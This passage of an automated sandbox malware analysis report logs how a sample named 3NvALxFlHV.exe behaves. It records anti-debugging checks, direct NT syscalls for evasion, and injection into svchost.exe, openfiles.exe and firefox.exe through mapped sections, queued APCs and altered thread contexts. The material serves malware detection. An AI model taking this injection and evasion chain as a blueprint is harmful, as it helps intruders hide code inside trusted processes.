Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DEA60 mov eax, dword ptr fs:[00000030h]	7_2_034DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034ACA72 mov eax, dword ptr fs:[00000030h]	7_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034ACA72 mov eax, dword ptr fs:[00000030h]	7_2_034ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BCA11 mov eax, dword ptr fs:[00000030h]	7_2_034BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346CA24 mov eax, dword ptr fs:[00000030h]	7_2_0346CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345EA2E mov eax, dword ptr fs:[00000030h]	7_2_0345EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03454A35 mov eax, dword ptr fs:[00000030h]	7_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03454A35 mov eax, dword ptr fs:[00000030h]	7_2_03454A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346CA38 mov eax, dword ptr fs:[00000030h]	7_2_0346CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03486ACC mov eax, dword ptr fs:[00000030h]	7_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03486ACC mov eax, dword ptr fs:[00000030h]	7_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03486ACC mov eax, dword ptr fs:[00000030h]	7_2_03486ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430AD0 mov eax, dword ptr fs:[00000030h]	7_2_03430AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03464AD0 mov eax, dword ptr fs:[00000030h]	7_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03464AD0 mov eax, dword ptr fs:[00000030h]	7_2_03464AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346AAEE mov eax, dword ptr fs:[00000030h]	7_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346AAEE mov eax, dword ptr fs:[00000030h]	7_2_0346AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343EA80 mov eax, dword ptr fs:[00000030h]	7_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504A80 mov eax, dword ptr fs:[00000030h]	7_2_03504A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03468A90 mov edx, dword ptr fs:[00000030h]	7_2_03468A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438AA0 mov eax, dword ptr fs:[00000030h]	7_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438AA0 mov eax, dword ptr fs:[00000030h]	7_2_03438AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03486AA4 mov eax, dword ptr fs:[00000030h]	7_2_03486AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B0946 mov eax, dword ptr fs:[00000030h]	7_2_034B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03456962 mov eax, dword ptr fs:[00000030h]	7_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03456962 mov eax, dword ptr fs:[00000030h]	7_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03456962 mov eax, dword ptr fs:[00000030h]	7_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0347096E mov eax, dword ptr fs:[00000030h]	7_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0347096E mov edx, dword ptr fs:[00000030h]	7_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0347096E mov eax, dword ptr fs:[00000030h]	7_2_0347096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D4978 mov eax, dword ptr fs:[00000030h]	7_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D4978 mov eax, dword ptr fs:[00000030h]	7_2_034D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BC97C mov eax, dword ptr fs:[00000030h]	7_2_034BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE908 mov eax, dword ptr fs:[00000030h]	7_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE908 mov eax, dword ptr fs:[00000030h]	7_2_034AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BC912 mov eax, dword ptr fs:[00000030h]	7_2_034BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03428918 mov eax, dword ptr fs:[00000030h]	7_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03428918 mov eax, dword ptr fs:[00000030h]	7_2_03428918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B892A mov eax, dword ptr fs:[00000030h]	7_2_034B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C892B mov eax, dword ptr fs:[00000030h]	7_2_034C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C69C0 mov eax, dword ptr fs:[00000030h]	7_2_034C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	7_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	7_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	7_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	7_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	7_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A9D0 mov eax, dword ptr fs:[00000030h]	7_2_0343A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034649D0 mov eax, dword ptr fs:[00000030h]	7_2_034649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FA9D3 mov eax, dword ptr fs:[00000030h]	7_2_034FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BE9E0 mov eax, dword ptr fs:[00000030h]	7_2_034BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034629F9 mov eax, dword ptr fs:[00000030h]	7_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034629F9 mov eax, dword ptr fs:[00000030h]	7_2_034629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034429A0 mov eax, dword ptr fs:[00000030h]	7_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034309AD mov eax, dword ptr fs:[00000030h]	7_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034309AD mov eax, dword ptr fs:[00000030h]	7_2_034309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B89B3 mov esi, dword ptr fs:[00000030h]	7_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B89B3 mov eax, dword ptr fs:[00000030h]	7_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B89B3 mov eax, dword ptr fs:[00000030h]	7_2_034B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03442840 mov ecx, dword ptr fs:[00000030h]	7_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03460854 mov eax, dword ptr fs:[00000030h]	7_2_03460854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03434859 mov eax, dword ptr fs:[00000030h]	7_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03434859 mov eax, dword ptr fs:[00000030h]	7_2_03434859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BE872 mov eax, dword ptr fs:[00000030h]	7_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BE872 mov eax, dword ptr fs:[00000030h]	7_2_034BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C6870 mov eax, dword ptr fs:[00000030h]	7_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C6870 mov eax, dword ptr fs:[00000030h]	7_2_034C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BC810 mov eax, dword ptr fs:[00000030h]	7_2_034BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03452835 mov eax, dword ptr fs:[00000030h]	7_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03452835 mov eax, dword ptr fs:[00000030h]	7_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03452835 mov eax, dword ptr fs:[00000030h]	7_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03452835 mov ecx, dword ptr fs:[00000030h]	7_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03452835 mov eax, dword ptr fs:[00000030h]	7_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03452835 mov eax, dword ptr fs:[00000030h]	7_2_03452835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A830 mov eax, dword ptr fs:[00000030h]	7_2_0346A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D483A mov eax, dword ptr fs:[00000030h]	7_2_034D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D483A mov eax, dword ptr fs:[00000030h]	7_2_034D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E8C0 mov eax, dword ptr fs:[00000030h]	7_2_0345E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FA8E4 mov eax, dword ptr fs:[00000030h]	7_2_034FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C8F9 mov eax, dword ptr fs:[00000030h]	7_2_0346C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C8F9 mov eax, dword ptr fs:[00000030h]	7_2_0346C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430887 mov eax, dword ptr fs:[00000030h]	7_2_03430887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BC89D mov eax, dword ptr fs:[00000030h]	7_2_034BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B4F40 mov eax, dword ptr fs:[00000030h]	7_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B4F40 mov eax, dword ptr fs:[00000030h]	7_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B4F40 mov eax, dword ptr fs:[00000030h]	7_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B4F40 mov eax, dword ptr fs:[00000030h]	7_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D4F42 mov eax, dword ptr fs:[00000030h]	7_2_034D4F42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342CF50 mov eax, dword ptr fs:[00000030h]	7_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342CF50 mov eax, dword ptr fs:[00000030h]	7_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342CF50 mov eax, dword ptr fs:[00000030h]	7_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342CF50 mov eax, dword ptr fs:[00000030h]	7_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342CF50 mov eax, dword ptr fs:[00000030h]	7_2_0342CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342CF50 mov eax, dword ptr fs:[00000030h]	7_2_0342CF50

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

3_2_00426DA1

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0042202E SetUnhandledExceptionFilter,	3_2_0042202E
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_004230F5
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00417D93
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtQueryVolumeInformationFile: Direct from: 0x76F12F2C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtQuerySystemInformation: Direct from: 0x76F148CC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtAllocateVirtualMemory: Direct from: 0x76F148EC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtQueryAttributesFile: Direct from: 0x76F12E6C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtReadVirtualMemory: Direct from: 0x76F12E8C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtCreateKey: Direct from: 0x76F12C6C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtSetInformationThread: Direct from: 0x76F12B4C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtClose: Direct from: 0x76F12B6C
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtAllocateVirtualMemory: Direct from: 0x76F13C9C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtWriteVirtualMemory: Direct from: 0x76F1490C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtCreateUserProcess: Direct from: 0x76F1371C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtTerminateThread: Direct from: 0x76F12FCC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtCreateFile: Direct from: 0x76F12FEC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtOpenFile: Direct from: 0x76F12DCC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtQueryInformationToken: Direct from: 0x76F12CAC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BEC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtDeviceIoControlFile: Direct from: 0x76F12AEC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtSetInformationThread: Direct from: 0x76F063F9	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtOpenSection: Direct from: 0x76F12E0C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtMapViewOfSection: Direct from: 0x76F12D1C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtResumeThread: Direct from: 0x76F136AC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtCreateMutant: Direct from: 0x76F135CC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtWriteVirtualMemory: Direct from: 0x76F12E3C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtNotifyChangeKey: Direct from: 0x76F13C2C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtProtectVirtualMemory: Direct from: 0x76F12F9C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtSetInformationProcess: Direct from: 0x76F12C5C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtOpenKeyEx: Direct from: 0x76F12B9C	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtQueryInformationProcess: Direct from: 0x76F12C26	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtResumeThread: Direct from: 0x76F12FBC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtDelayExecution: Direct from: 0x76F12DDC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtReadFile: Direct from: 0x76F12ADC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtQuerySystemInformation: Direct from: 0x76F12DFC	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BFC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\openfiles.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\openfiles.exe

Thread register set: target process: 7900

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\openfiles.exe

Thread APC queued: target process: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 287E008

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0043916A LogonUserW,

3_2_0043916A

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

3_2_0040D6D0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

3_2_004375B0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

3_2_00436431

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\3NvALxFlHV.exe"	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

3_2_00445DD3

Source: 3NvALxFlHV.exe, MqYVUkmlJNkso.exe, 0000000B.00000000.1528031755.0000000001691000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3744386958.0000000001690000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674812211.0000000000EB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: MqYVUkmlJNkso.exe, 0000000B.00000000.1528031755.0000000001691000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3744386958.0000000001690000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674812211.0000000000EB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: 3NvALxFlHV.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: MqYVUkmlJNkso.exe, 0000000B.00000000.1528031755.0000000001691000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3744386958.0000000001690000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674812211.0000000000EB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
